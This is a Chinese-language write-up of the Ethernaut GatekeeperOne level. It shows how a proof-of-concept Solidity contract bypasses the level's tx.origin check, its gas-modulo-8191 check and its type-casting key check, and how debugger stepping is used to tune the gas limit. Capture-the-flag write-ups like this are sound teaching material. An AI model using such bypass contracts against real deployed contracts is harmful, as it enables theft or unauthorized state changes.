通过调试找到gas消耗
1.在学习ethernaut的过程中,遇到了一个GatekeeperOne的题目,需要用到调试来查看gas的每一步消耗情况。当时找了很多writeup都是直接就出来了gas应该为多少,但是脑瓜子嗡嗡的,下面说一下我自己的解题过程
源代码:
pragma solidity ^0.4.18;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract GatekeeperOne {
using SafeMath for uint256;
address public entrant;
modifier gateOne() { //要求tx.origin不等于请求者,通过其他合约调用实现绕过
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() { //(存量gas)%8192=0
require(msg.gas.mod(8191) == 0);
_;
}
modifier gateThree(bytes8 _gateKey) { //对bytes8的gatekey进行判断
require(uint32(_gateKey) == uint16(_gateKey)); //gatekey的前16位为0,后16位0x4bec
require(uint32(_gateKey) != uint64(_gateKey)); //要求前面32位不能全是0,不然就相等了
require(uint32(_gateKey) == uint16(tx.origin)); //uint32(_gatekey)==uint16(tx.origin) 则:uint32(_gatekey)==19436,即为0x4bec
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
分析思路:
首先给源代码进行一下必要的注释,了解大概的程序运行流程和各个函数起到的作用。通过简单的注释知道了要想通关需要执行enter函数然后返回true。那么就需要绕过上面的三个modifier。现在分开来说:
-
gateOne的绕过方式非常简单,通过其他合约来进行调用即可使得msg.sender和tx.origin不等
假设用户通过合约A调用合约B:
- 对于合约A:tx.origin和msg.sender都是用户
- 对于合约B:tx.origin是用户,msg.sender是合约A的地址
-
gateTwo的原理也很简单,当执行到require时,剩余的gas是8191的倍数即可,但是如何找到剩余的这个值还是有一定问题的。
-
gateThree的绕过中主要是两个值的类型转换,一个是tx.origin(当用其他合约调用时,该值就是玩家的地址),_gateKey是需要构造的。最简单的方式是通过其他的脚本来进行计算。
先从第三个require入手:
pragma solidity ^0.4.18; contract test{ address test = 0x970F89cBceba7dA88ACCb5817aFDbc530fC54bEC;/*自己的地址*/ uint32 public key = uint16(test); /*即可得到key的32位无符号整型值,但是此时得到的是10进制的,转换成16进制即可。得到的结果其实就是自己地址的最后四位16进制值,此处我得到的是0x4bec*/ }
然后第一二个require了解了类型转换还是很容易绕过的。
第一个require得到后面的应该是0x00004bec ,由第二个require可以得到前面不能是全零。0x00100000和0x01000000都是可以的,1的位置可以随意放,也可以不是1。
最终我的地址我得到了这样的一个gatekey:0x0010000000004bec
因此可以得到一个这样的poc,在remix中编译并运行
pragma solidity ^0.4.18; import "./gateone.sol"; contract GateKeeperOnePoc{ GatekeeperOne gate = GatekeeperOne(0xc2647fd2d838617cba8a5c3d02dcfecfddb536b1); function hackGate() public{ gate.call.gas(999999)(bytes4(keccak256('enter(bytes8)')),bytes8(0x0010000000004bec)); //此处的999999可以设置高一点,避免出现out of gas; } }
调试过程:
由于在gateTwo的require中是用了msg.gas,因此需要在汇编中注意gas关键字。GAS关键字是获取执行可用的gas。由于EVM是栈虚拟机,因此此处需要注意获取到的gas后的dup2,dup2是将栈内的第2个元素(从栈顶向下算)移至栈顶。
具体的gas数量获取如下:
- 先直接运行hackGate函数
- 修改gas limit的值,可以先给高一点
- 先直接运行hackGate函数
- 然后确认等待执行。执行完成后可以看到一个debug,点击进入debug界面,在debug上面还有个链接也可以点进去看看。
通过etherscan查看gas的消耗
5. 找到其中的GAS和DUP2,然后看后面的gas数值是多少,然后和8191的倍数进行调整,最终得到一个数
961446 % 8191 = 3099
999999 - 3099 = 996900
- 利用该值然后再次执行hackGate函数。并调整gas limit为计算得到的996900
958395%8191 = 48
996900 - 48 = 996852
958348 % 8191 = 1
996852- 1 = 996851
可以看到没有再出现revert,且958347 % 8191 = 0;成功绕过第二个。
然后点击提交可以发现已经成功了。
通过remix的debug来查看
可以通过那两个小箭头来实现单步的调试,依旧是找GAS和DUP2后的值,然后不断的修改提交执行时的gaslimit。
remaining gas即为剩余的gas,依旧是和上面的过程是一样的。通过不断的修改gas limit的值,然后单步到这个位置,看剩余的gas为多少。如果为8191的倍数即可。